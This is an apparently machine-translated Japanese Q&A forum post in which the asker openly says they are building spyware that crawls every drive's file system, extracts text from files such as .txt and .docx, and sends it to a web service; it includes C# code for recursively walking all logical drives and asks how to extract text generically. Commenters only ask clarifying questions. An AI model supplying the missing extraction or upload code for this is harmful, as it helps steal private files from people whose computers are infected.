1
私は、コンピュータのファイルシステム全体をクロールし、見つけ出すことができ、付随するWebサービスに送るテキストを探すスパイウェアプログラムを作成しています。私が抱えている問題は、いったんファイルがあれば、テキストを抽出できるファイルのタイプ(つまり、.txt、.docx、.xmlなどのファイル)かそうでないかのどちらかです。そうであれば、私はそこからテキストを抽出したい。私が今持っていることはファイルからテキストを抽出する一般的な方法を作成することはできますか?
private string _accumulatedInfo;
public FileCrawler ()
{
this._accumulatedInfo = String.Empty;
}
private void GrabInfo (System.IO.FileInfo fi)
{
// if can parse text out of file, add text to accumulated info string
// ...
}
private void _WalkDirectoryTree (System.IO.DirectoryInfo root)
{
System.IO.FileInfo[] files = root.GetFiles("*.*");
if (files != null)
{
foreach (System.IO.FileInfo fi in files)
{
GrabInfo(fi);
}
}
System.IO.DirectoryInfo[] subDirs = root.GetDirectories();
if (subDirs != null)
{
foreach (System.IO.DirectoryInfo dirInfo in subDirs)
{
this._WalkDirectoryTree(dirInfo);
}
}
}
private void CrawlAllDrives ()
{
string[] drives = System.Environment.GetLogicalDrives();
foreach (string dr in drives)
{
System.IO.DriveInfo di = new System.IO.DriveInfo(dr);
if (di.IsReady)
{
System.IO.DirectoryInfo rootDir = di.RootDirectory;
this._WalkDirectoryTree(rootDir);
}
}
}
であると私は思ったんだけどどのように、またはそれは、
private void GrabInfo (System.IO.FileInfo fi)
{
switch (fi.Extension)
{
case "txt":
// ...
case "docx":
// ...
// ...
}
}
のようなものに頼ることなく自分の
private void GrabInfo (System.IO.FileInfo fi)
{
// if can parse text out of file, add text to accumulated info string
// ...
}
メソッドを実装することも可能ですかファイルからテキストを抽出する一般的な方法がいくつか存在しますか?
"一般的なテキストの抽出方法"の意味は不明ですが、 'File.ReadAllLines'またはそれと同等のものを使用できますか? – Noctis
rtf、txt、docxなど、あらゆる種類のファイルのテキストを、ひとつの関数呼び出しで一般的に取得する方法はありますか? – RoyalPotato
@RoyalPotatoはい – user6048670